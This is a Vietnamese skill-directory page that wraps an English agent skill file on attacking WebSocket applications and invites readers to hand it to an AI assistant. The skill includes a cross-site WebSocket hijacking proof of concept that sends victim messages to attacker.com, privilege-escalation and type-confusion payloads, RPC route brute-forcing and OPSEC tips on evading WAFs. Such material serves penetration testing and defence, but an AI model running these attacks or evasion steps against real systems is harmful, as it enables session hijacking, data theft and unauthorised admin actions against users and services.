Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14027

api-websocket

Skill này làm gì

Hướng dẫn này bao quát kiểm tra bảo mật cho kết nối WebSocket, giữ liên kết hai chiều trực tiếp giữa trình duyệt và máy chủ. Hướng dẫn dành cho các đội xây dựng tính năng chat, cập nhật trực tiếp và cộng tác.

Khi nào nên dùng

  • ✓Khi một ứng dụng web dùng WebSocket và cần kiểm tra các quy tắc kết nối của nó.
  • ✓Khi bạn muốn xem một lần đăng nhập được kiểm tra lúc kết nối có được kiểm tra lại ở từng tin nhắn không.
  • ✓Khi một tính năng trực tiếp có thể chấp nhận tin nhắn mà website khác có thể kích hoạt.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Ứng dụng chat của chúng tôi dùng WebSocket. Bạn có thể kiểm tra xem kết nối và từng tin nhắn có được kiểm tra đúng cách không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent kiểm tra cách máy chủ xác thực origin trong lúc bắt tay (handshake), rồi thử xem từng tin nhắn có được kiểm tra quyền không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

WebSocket Attack Surface

Detect

Look for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).

# Quick handshake test
curl -sk -i \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://target" \
  https://target/ws
# 101 = upgraded

Top 5 bug classes

1. Cross-Site WebSocket Hijacking (CSWSH)

Server doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:

<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen   = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>

Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.

2. Missing per-message authorization

Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:

wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"}     # ⚠ admin op succeeds

3. Message-type confusion

Server dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:

{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}}        // Unicode-normalize bypass

4. WS → wss downgrade

If the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.

5. Hidden RPC routes

WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:

wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.

Tooling

# wscat — interactive
npm install -g wscat

# websocat — netcat for WS
websocat wss://target/ws

# Burp Suite — full WS interception (Proxy → WebSockets History)

# Pwntools-style for scripted attacks
python3 -c '
import websocket, json
ws = websocket.create_connection("wss://target/ws", header=["Origin: https://target", "Cookie: session=..."])
ws.send(json.dumps({"op":"users.list"}))
print(ws.recv())
ws.close()
'

Protocol-specific tips

Socket.IO

Multiple "engine" levels: long-polling fallback, sticky sessions. Hit /socket.io/?EIO=4&transport=polling first.

STOMP over WebSocket

CONNECT → SEND → SUBSCRIBE text frames. SUBSCRIBE /topic/admin often missing authz.

GraphQL-WS / graphql-transport-ws

connection_init payload often carries auth. Server may accept reconnections without re-authing — replay attack.

SignalR

Negotiate URL /hub/negotiate. Token in negotiate is reusable for the WS upgrade.

OPSEC

  • WebSocket sessions are long-lived — server-side detection is per-frame. Burst-write 1000 messages, observe quench/error rate.
  • WAFs often DON'T inspect WS frames. Once inside a WS, you can move freely vs HTTP.
  • Browser DevTools "Frames" tab makes CSWSH PoCs trivially reproducible — capture-and-replay flow.

References

  • PortSwigger Academy "WebSocket attacks" track
  • OWASP WebSocket testing guide
  • "Cross-Site WebSocket Hijacking" — Christian Schneider (original 2013 writeup)
Câu hỏi thường gặp

Kiểm tra origin là gì?

Đó là việc máy chủ kiểm tra website nào đã mở kết nối, và nó nên chặn yêu cầu từ các website khác.

Vì sao phải kiểm tra từng tin nhắn?

Hướng dẫn nói một số máy chủ chỉ kiểm tra đăng nhập khi kết nối mở rồi tin tưởng mọi tin nhắn sau đó.

Message flooding là gì?

Đó là gửi rất nhiều tin nhắn để làm quá tải máy chủ, và hướng dẫn xếp đây là rủi ro từ chối dịch vụ.

Chi tiết

Mô tả gốc của tác giả

WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14027
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự